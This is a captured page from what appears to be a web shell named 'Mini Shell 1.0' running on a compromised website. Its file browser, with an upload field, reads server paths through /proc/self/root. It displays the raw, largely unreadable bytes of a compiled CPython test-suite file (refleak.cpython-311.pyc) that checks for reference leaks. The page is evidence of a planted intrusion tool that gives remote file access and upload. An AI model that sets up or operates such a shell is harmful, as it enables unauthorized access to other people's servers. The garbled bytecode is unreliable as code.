HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/lib/python3.11/test/libregrtest/__pycache__/
Upload File :
Current File : //proc/self/root/lib/python3.11/test/libregrtest/__pycache__/refleak.cpython-311.pyc
�

*�Kg����ddlZddlZddlZddlmZddlmZddlmZddl	m
Z
	ddlmZn#e
$r
ddlZd�ZYnwxYwd�Zd	�Zd
�ZdS)�N)�
isabstract)�support)�	os_helper)�clear_caches)�	_get_dumpc�h�td�|jD����}||j|j|jfS)Nc3�>K�|]}tj|��V��dS�N)�weakref�ref)�.0�objs  �//usr/lib/python3.11/test/libregrtest/refleak.py�	<genexpr>z_get_dump.<locals>.<genexpr>s,����N�N�S���C� 0� 0�N�N�N�N�N�N�)�set�
_abc_registry�
_abc_cache�_abc_negative_cache�_abc_negative_cache_version)�cls�registry_weakrefss  rrrsB�� �N�N�C�<M�N�N�N�N�N��!�3�>��'��)H�J�	Jrc
���(�)�ddl}ddl�(ttd��st	d���t��tjdd�}|j�	��}tj
�	��}	ddl}|j�	��}n#t$rd}YnwxYwi}	�(fd��(jjD��D]E}
t!|
��s�|
���|
gzD]}t%|��d|	|<��Fd�t'dd��D���)�)fd	�}|j\}
}}t*j�t0j|��}|
|z}t5t'|����}dg|z}dg|z}dg|z}tj}tj}tj}t0j}dx}x}}|jsJtAd
|dtj!���tAd
|dzdzzd|�tj!d���tE|||||	��tGj$��|D]�}|��tE|||||	��tGj$��|��|��z
}|��}|��}|jstAddtj!d���|||z
��||<|||z
��||<|||z
��||<|}|}|}��|jstAtj!���d�} d�}!d}"|d| f|d| f|d|!ffD]�\}#}$}%|#|
d�}#|%|#��r�|�d|#�d|$�dtK|#����}&tA|&tj!d���tM|dd� ��5}'tA|&|'���|'�'��ddd��n#1swxYwYd}"��|"S)!z�Run a test multiple times, looking for reference leaks.

    Returns:
        False if the test didn't leak references; True if we detected refleaks.
    rN�gettotalrefcountz9Tracking reference leaks requires a debug build of Pythonc�:��g|]}t�j|����S���getattr�abc�r
�a�collectionss  �r�
<listcomp>zdash_R.<locals>.<listcomp>3s%���M�M�M������+�+�M�M�Mrc��i|]}||��Srr)r
�values  r�
<dictcomp>zdash_R.<locals>.<dictcomp>=s��=�=�=���u�=�=�=ri���i�c�0����||��Sr
)�
setdefault)r%�int_pools �r�get_pooled_intzdash_R.<locals>.get_pooled_int>s����"�"�5�%�0�0�0r�	beginning�repetitions)�file�
1234567890�
�T)r-�flush�.�)�endr-r1c�4�td�|D����S)Nc3�"K�|]
}|dkV��dS)r0Nr)r
�deltas  rrz2dash_R.<locals>.check_rc_deltas.<locals>.<genexpr>�s&����2�2�%�5�A�:�2�2�2�2�2�2r)�all��deltass r�check_rc_deltaszdash_R.<locals>.check_rc_deltasss!���2�2�6�2�2�2�2�2�2rc� �t|��Sr
)�anyr9s r�check_fd_deltaszdash_R.<locals>.check_fd_deltas�s���6�{�{�rF�
referencesz
memory blockszfile descriptorsz leaked � z, sum=r!zutf-8)�encoding)(�copyreg�collections.abc�hasattr�sys�	Exception�warm_caches�warnings�filters�dispatch_table�copy�path_importer_cache�	zipimport�_zip_directory_cache�ImportErrorr�__all__r�__subclasses__r�range�
huntrleaks�os�path�joinr�SAVEDCWD�list�getallocatedblocksr�_getquickenedcount�fd_count�quiet�print�stderr�dash_R_cleanupr�
gc_collect�sum�openr1)*�ns�	test_name�	test_funcrB�fs�ps�picrM�zdc�abcsrrr*�nwarmup�ntracked�fname�repcount�	rep_range�	rc_deltas�alloc_deltas�	fd_deltasrYrrZr[�	rc_before�alloc_before�	fd_before�i�alloc_after�rc_after�fd_afterr;r>�failedr:�	item_name�checker�msg�refrepr"r)s*                                        @@r�dash_Rrs�����N�N�N������3�*�+�+�%��$�%�%�	%�
�M�M�M�
�	�!�!�!�	�B�	�	�	$�	$�	&�	&�B�

�
!�
&�
&�
(�
(�C�4������,�1�1�3�3�����������������D�M�M�M�M�[�_�5L�M�M�M�*�*���#���	���%�%�'�'�3�%�/�	*�	*�C�!�#���q�)�D��I�I�	*�>�=�%��t�*<�*<�=�=�=�H�1�1�1�1�1� "�}��G�X�u��G�L�L��+�U�3�3�E���!�H��U�8�_�_�%�%�I���h��I��3��>�L���h��I��/���+���/���!�H�+,�,�I�,��y�
�8��
�k�8�]���D�D�D�D�
�|�X�r�\�A�-�.�	��	�:����	�	�	�	��2�r�3��T�*�*�*������
�����	�����r�2�s�C��.�.�.������)�(�*�*�-?�-?�-A�-A�A��#�#�%�%���8�:�:���x�	<��#�2�C�J�d�;�;�;�;�%�~�h��&:�;�;�	�!��(�.��|�)C�D�D��Q��%�~�h��&:�;�;�	�!��"���	��	�	�
�8��
�3�:�����
3�
3�
3�����F�	�L�/�2�	���8�	�&��8�'���"��	�7�����!���7�6�?�?�	��	�	�6�6�6�9�9�9�c�&�k�k�k�;�C��#�C�J�d�3�3�3�3��e�S�7�3�3�3�
�v��c��'�'�'�'�������
�
�
�
�
�
�
�
�
�
�
����
�
�
�
��F���Ms$�	B'�'B6�5B6�"&O�O	�O	c�H��ddl}ddl�|tjdd�<|j���|j�|��tj���tj�|��	ddl	}|j
���|j
�|��n#t$rYnwxYw�fd��jj
D��}tt|��}|D]}}|���|gzD]b}	|�|	t%����D])}
|
���|	�|
�����*|	����c�~t+��tj��dS)Nrc�:��g|]}t�j|����Srrr s  �rr#z"dash_R_cleanup.<locals>.<listcomp>�s%���P�P�P�1�7�;�?�A�.�.�P�P�Pr)rBrCrHrIrJ�clear�updaterErLrMrNrOrrP�filterrrQ�getr�register�_abc_caches_clearr�_clear_type_cache)rfrgrhrirjrBrM�abs_classesrrrr"s           @rr_r_�s�����N�N�N������H��Q�Q�Q���� � �"�"�"���!�!�"�%�%�%���!�!�#�#�#���"�"�3�'�'�'�3�����	�&�,�,�.�.�.��&�-�-�c�2�2�2�2��	�
�
�
���
����Q�P�P�P���8O�P�P�P�K���[�1�1�K��$�$���%�%�'�'�3�%�/�	$�	$�C��x�x��S�U�U�+�+�
(�
(���3�5�5�$��L�L�����'�'�'���!�!�#�#�#�#�		$��N�N�N�������s�C�
C�Cc���ttd����}td��D]}|||dz��d�td��D��ttdd����dS)N�r0c�,�g|]}t|����Sr)�chr)r
rvs  rr#zwarm_caches.<locals>.<listcomp>�s�� � � ��S��V�V� � � r���i)�bytesrRrX)�srvs  rrGrG�ss��
�e�C�j�j���A�
�3�Z�Z����	�!�A�a�C�%���� � �U�3�Z�Z� � � � ���r�3�������r)rTrErH�inspectr�testr�test.supportr�test.libregrtest.utilsr�_abcrrOrrr_rGrrr�<module>r�s��	�	�	�	�
�
�
�
�����������������"�"�"�"�"�"�/�/�/�/�/�/�
J����������J�J�J��N�N�N�J�J�J�J�J�J�������D � � �F����s�-�<�<